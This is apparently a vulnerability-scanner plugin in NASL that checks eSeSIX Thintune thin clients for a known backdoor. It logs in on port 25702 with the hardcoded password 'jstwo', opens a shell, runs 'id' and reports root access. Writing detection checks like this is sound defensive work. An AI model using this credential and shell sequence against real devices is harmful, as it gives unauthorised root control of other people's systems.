eSeSIX Thintune Thin Client Multiple Vulnerabilities

# SPDX-FileCopyrightText: 2004 Noam Rathaus
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.13839");
  script_version("2023-08-01T13:29:10+0000");
  script_cve_id("CVE-2004-2048", "CVE-2004-2049", "CVE-2004-2050", "CVE-2004-2051");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/10794");
  script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_name("eSeSIX Thintune Thin Client Multiple Vulnerabilities");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2004 Noam Rathaus");
  script_family("Default Accounts");
  script_dependencies("find_service2.nasl", "gb_default_credentials_options.nasl");
  script_require_ports(25702);
  script_exclude_keys("default_credentials/disable_default_account_checks");

  script_tag(name:"summary", value:"Multiple security vulnerabilities have been found in Thintune,
  one of them is a backdoor password ('jstwo') allowing complete access to the system.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

if(get_kb_item("default_credentials/disable_default_account_checks"))
  exit(0);

port = 25702;
if(!get_port_state(port))
  exit(0);

soc = open_sock_tcp(port);
if(!soc)
  exit(0);

res = recv_line(socket:soc, length:1024);
if ("JSRAFV-1" >< res) {
  req = "jstwo\n";
  send(socket:soc, data:req);

  res = recv_line(socket:soc, length:1024);
  if ("+yep" >< res) {
    req = "shell\n";
    send(socket:soc, data:req);

    res = recv_line(socket:soc, length:1024);
    if ("+yep here you are" >< res) {
      req = "id\n";
      send(socket:soc, data:req);

      res = recv(socket:soc, length:1024);
      if ("uid=0" >< res) {
        security_message(port:port);
      }
    }
  }
}

close(soc);
exit(0);